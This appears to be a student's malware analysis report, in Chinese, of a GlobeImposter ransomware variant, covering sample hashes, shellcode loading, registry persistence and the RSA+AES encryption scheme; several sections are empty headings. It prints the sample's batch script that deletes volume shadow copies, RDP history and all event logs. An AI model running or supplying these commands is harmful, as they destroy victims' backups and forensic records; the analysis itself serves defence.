Globlemposter勒索病毒變種樣本
一．樣本概況
1、樣本信息
樣本來源：http://www.malware-traffic-analysis.net/2017/12/04/index.html
Kaspersky，NOD32，360均報毒：
MD5: 2908715EEC754ABA1AD21414B23CAFB6
SHA1: 4AF27F4B95F29F877D0ABB1167E6B1148C1849BD
CRC32: 64CAEB77
2、測試環境及工具
系統環境：win7_7600_x86
工具：
3、病毒行為
進行勒索：
文件加密：
文件加密為.doc後綴。
刪除鍵值項：
二、具體行為分析
1、特征
Globlemposter家族病毒有兩個主要的特征：
ShellCode執行和 PE文件釋放執行。
1.1、拷貝執行ShellCode
內部采用TEA算法加密ShellCode：
1.2、Pe文件釋放執行
Dump下來的ShellCode，修改0x400000屬性為可執行，並釋放了PE文件，跳到OEP執行。
2、行為
把PE文件 dump下來分析，先列出其它行為。
2.1、修改註冊表 開機啟動
復制文件，目錄：C:\Users\15pb-win7\AppData\Roaming\PE.exe
設置啟動項，鍵值：HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\BrowserUpdateCheck
1.2、創建.bat文件刪除信息
在Temp目錄下創建.bat文件，運行.bat文件分別刪除卷影、RDP連接歷史記錄、日誌信息。
@echo off
vssadmin.exe Delete Shadows /All /Quiet
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp
for /F "tokens=*" %1 in (‘wevtutil.exe el‘) DO wevtutil.exe cl "%1"
2.3、自刪除
cmd 執行 /c del C:\Users\15pb-win7\Desktop\PE.exe 自刪除。
3、文件加密
勒索病毒重點在於加密文件，所以重點對加密文件流程進行分析。
3.1、加密方式
病毒采用的是RSA+AES的加密方式。
一般RSA與AES結合：
病毒變相的RSA與AES結合：
共有兩對RSA公私鑰：hac_pri 和 hac_pub，user_pri 和 user_pub。
加密文件的AES密鑰。
用戶ID：包含user_pri。
secret_Ekey：包含secret_key，跟解密的AES有關。
解密過程：
黑客拿到文件後，可以提取 用戶ID 和 secret_Ekey。用自身的hac_pri解密用戶ID得到user_pri。再用user_pri解密secret_Ekey得到secret_key。
計算文件的IV參數，結合secret_key計算即可得到AES密鑰，用以解密文件。
3.2、用戶ID生成
hack_pub加密成哈希值生成用戶ID，並做為FileName，創建文件在目錄下。
目錄：C:\Users\Public\AE09C984DF6E74640B3271EADB5DD7C65FDE806235B2CDA478E0EFA9129C09E7
哈希值：AE 09 C9 84 DF 6E 74 64 0B 32 71 EA DB 5D D7 C6 5F DE 80 62 35 B2 CD A4 78 E0 EF A9 12 9C 09 E7
hack_pub：
加密成hash：
創建文件：
3.3、加密文件
創建線程加密文件：
遍歷文件：
IV參數：
AES密鑰：
加密 secret_key，並將 secret_Ekey 和 用戶ID 寫進文件。
三、惡意程序對用戶造成的危害
四、解決方案(或總結)
3.1 提取病毒的特征，利用殺毒軟件查殺
特征包括：網絡ip，字符串等等
3.2 手工查殺步驟或是工具查殺步驟或是查殺思路等。
參考文獻
致謝
15pb全體教師，以及教導我的所有人。
KID
Globlemposter勒索病毒變種樣本